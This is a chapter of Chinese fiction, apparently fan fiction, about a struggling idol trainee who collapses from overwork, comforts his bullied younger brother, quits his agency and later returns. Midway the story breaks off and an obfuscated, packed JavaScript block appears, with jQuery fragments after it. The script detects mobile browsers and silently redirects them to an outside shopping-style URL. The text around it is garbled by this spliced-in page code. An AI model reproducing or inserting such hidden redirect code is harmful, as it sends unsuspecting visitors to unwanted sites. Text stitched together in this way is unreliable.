世界缄言的背后，某种决心，糜烂地，畸形地滋生出来。


    金侑一下必须更努力，更拼命，用成倍的血汗，去填补那巨大的空白，哪怕最终只是徒劳，哪怕过程会将他碾碎。


    从那天起，金侑一的时间被切割成更细碎的片段，每一片都浸满了痛苦。


    他打工路上见缝插针地练习气息，背诵舞步，他钻进最偏僻的练习室，一遍遍重复着学来的动作，直到肌肉酸痛得抬不起来，直到喉咙沙哑发不出完整的声音。


    金侑一开始频繁地头晕。


    有一次在搬运沉重的杂物箱时，他脚下一软，连人带箱摔在地上，额头磕在箱角，渗出血来。他在地上躺了好一会儿，才挣扎着爬起，用纸巾胡乱按住伤口，又继续干活。


    练习室里晕倒的次数也越来越多。有时是跳着跳着，世界突然旋转着暗下来；有时是唱着唱着，气息接续不上，窒息感猛地攫住他，随后便是冰冷的地板贴上脸颊的触感。


    醒来时，一般是独自躺在空荡的练习室地板上，偶尔会看到金岷奎或尹净寒蹲在旁边，手里拿着水，眉头微蹙。


    “哥，你又晕倒了。”


    金岷奎的声音总是很平静，听不出太多情绪，但递水过来的动作不容拒绝。


    “没事啦，低血糖。”金侑一总是这样回答，接过水，一口气灌下去，冰凉的液体滑过灼痛的喉咙。


    尹净寒话更少，只是默默把带来的能量棒或巧克力塞到他手里，然后坐在一旁，等他缓过来。


    有一次，金侑一醒来，看到尹净寒正拿着拖把，擦去他摔倒时碰倒水瓶洒出的水渍。


    那个纤细沉默的背影，让金侑一鼻腔猛地一酸，他迅速别过脸，把那股突如其来的脆弱压了回去。


    压力来自四面八方。公司的月末评价一次比一次严格，和他同期甚至晚进来的练习生，有的进步神速，有的背景雄厚。


    他像逆水的行舟，用尽全力也只能勉强维持不被冲走，更别提前进。


    父亲要钱的频率越来越高，数额也越来越大，醉后的打骂似乎早已成了家常便饭。


    母亲已经按时去教堂祷告，眼神却日益空洞，有时还会拉着他说些神神叨叨的话，让他不寒而栗。


    最柔软的刀刃，来自弟弟在贤。


    金侑一提早结束工作的日子在打工时十分难得，所以他记得很清楚，那是11月16号。


    他拖着几乎散架的身体回到家，却发现本该热好菜坐在桌边等他回来吃饭的在贤并不在家中。


    一种不祥的预感袭来，他转身冲下楼，路过巷子口的便利店找到了那孩子。


    男孩蹲在便利店门外的台阶上，小脸脏兮兮的，校服外套的袖子扯破了一道口子，正低着头，用手指在地上胡乱划着。


    “在贤？”金侑一还没缓过神，嘴里念叨着什么听不清的，冲过去，在孩子身前蹲下，“你怎么了？谁欺负你了？告诉哥。”


    在贤抬起头，看到是他，眼圈立刻红了，但咬着嘴唇没哭出来，只是摇了摇头。


    金侑一看着他手臂上露出的青紫，心像被针扎一样。“告诉哥，怎么回事？”


    在贤吸了吸鼻子，声音带着哭腔：“他们……他们说哥是扫大街的，说我们家是垃圾，不配和他们上学……我……我跟他们打架了……”


    金侑一一把将弟弟搂进怀里，手臂收紧。男孩瘦小的身体在他怀里微微发抖。


    他喉咙哽得生疼，说不出任何安慰的话。


    是他，都是因为他。他的贫穷，他的家庭，像洗不掉的污渍，不仅烙印在他自己身上，也玷污了他最想保护的弟弟。


    “哥……”在贤闷闷的声音从他怀里传来，“你能不能……别去那个公司了？你最近回来好晚，身上总有药味……爸爸老是发脾气，妈妈也越来越怪……我有点害怕。你……你在家陪陪我，好不好？”


    童言无忌，却像一把淬了冰的匕首，精准地捅进了金侑一心脏最柔软的地方。


    在家陪他？他何尝不想。


    可他不能。


    他已经踏上了这条不能回头的路，退一步，就是万丈深渊，连带着弟弟可能稍微光亮一点的未来，也会一起消失不见。


    他松开弟弟，双手捧住他的脸，用力擦去他脸上的污迹和泪痕，挤出一个比哭还难看的笑容：“在贤乖，哥没事。哥要去工作，去赚钱，以后给我们在贤买大房子，送你去最好的学校，好不好？再也不会有人敢欺负你。”


    金侑一知道。这些话，他说了12年。


    在贤看着他，眼睛红红的，似懂非懂，最终缓缓点了点头，小手攥紧了金侑一的衣角。


    那天夜里，金侑一睁着眼躺在冰冷的地铺上，耳边是母亲梦里含糊的呓语。弟弟睡在身边，偶尔不安地动一下。


    窗外的月光惨白地照进来，勾勒出屋内破败家具的轮廓。练习生的卡片放在枕边，在月光下泛着冷硬的光泽。


    他翻了个身，把脸埋进带着潮气的枕头里，无声地颤抖起来。喉咙里压抑着破碎的呜咽，像受伤的野兽在哀鸣。


    几天后，金侑一没有出现在P社。


    他消失了，没有跟任何人打招呼，就像他当初悄无声息地出现一样。


    储物间里属于他的杂物被清空，他常去的那间偏僻练习室，地板光洁如新，仿佛从未有人在那里挥汗如雨，直至晕厥。


    生活似乎回到了原点。


    便利店，烤肉店，送报，车水马龙，人来人往。时间就这样在金侑一的睁眼闭眼中过去。他心里最清楚，胸腔里的某个地方，彻底空了，漏着风，冷得彻骨。


    他不再对着镜子比划动作，不再无意识地哼唱旋律，甚至避免路过P社所在的那条街。


    曾经那场烤肉宴又或者看见的那些光鲜的事物，都像一场缥缈的梦一样。梦醒了，只有更沉重的现实压在身上。


    他以为自己会一直这样沉下去，直到被生活的淤泥彻底淹没。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976263|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    可金侑一自己比谁都要明白，他的优柔寡断，会沾染在对所有事情的追求上。


    那是他成为练习生的第二年冬天，同样寒冷的傍晚，他送完最后一沓报纸，推着自行车经过一个街心公园。


    孩子们的笑闹声传来，他下意识地抬眼望去。几个少年正在空地上练习舞蹈，动作不算特别齐整，但充满活力，脸上洋溢着灿烂的笑意。


    其中一个少年旋转时差点摔倒，旁边的人大笑着扶住他，然后他们勾肩搭背，继续练习，笨拙却认真。


    金侑一猛地刹住车，双脚钉在地上。


    隔着光秃秃的树枝和冰冷的空气，他仿佛看到了另一群人，在另一间墙纸鲜绿的房间里，同样挥洒着汗水，为了同一个星光闪耀的梦想，咬牙坚持。


    心脏像是被重锤狠狠砸中，刺痛之后，是一种近乎麻木的苏醒。那股早已冻结的暗流，在冰封的河面下，极其微弱地涌动了一下。


    离开那里并没有让他轻松。那空掉的一块，正在以更快的速度吞噬他剩下的部分。他逃开了压力，却把自己扔进了更深的绝望。


    当天晚上，他又梦见了那间练习室。镜子里不再是独自一人，而是站满了模糊的身影。有人对他招手，有人把水瓶递给他，有人拍了拍他的肩。没有声音，只有光影晃动。


    醒来时，天还没亮。弟弟在身旁睡得正熟。金侑一坐起身，看着窗外浓得化不开的黑暗。


    许久，他伸出手，慢慢探到枕头底下，摸出那张已经有些卷边的练习生卡片。


    指尖拂过冰冷的塑料表面，掠过那行小小的“练习生金侑一”。


    窗外，最深重的天幕尽头，隐隐透出一丝极淡的灰白。


    在贤这次并没有再央求什么，男孩听了金侑一的解释，第一反应却是：“哥，你说你的梦想是唱歌，是做爱豆，那到底是什么梦想？我想住进大房子里，这种也算梦想吗？”


    金侑一懵了一瞬，随后大笑。


    休息日的早晨，他坐在床边和小小的在贤聊了很久很久，身上是从未有过的轻松。尤其是得到在贤的支持后，那颗死寂的心久违地蹦出了鲜活的声响。


    金侑一的回归，像一颗小石子投入已经逐渐习惯他缺席的池塘，只漾起几圈极浅的涟漪，很快又归于平静。


    P社的后勤室长皱着眉打量了他几眼，最终没多问，只是把清洁工具和日程表重新扔给他，嘟囔了一句“别动不动就走”。


    练习生们见到他，大多也只是点点头，或是一句简短的“回来了”，便又投入紧张的练习。


    只有李璨在走廊碰到他时，停下脚步，看了他几秒，说：“哥，你这几天怎么又瘦了。”


    而权纯永则是在他某天蹲着擦拭地板时，默默放下一盒牛奶在他手边。


    他重新变回那个沉默的影子，在光鲜舞台的背后，拼尽全力做好防守。


    那场逃离像一次淬火，烧掉了最后一点侥幸和犹豫，只剩下近乎偏执的念想。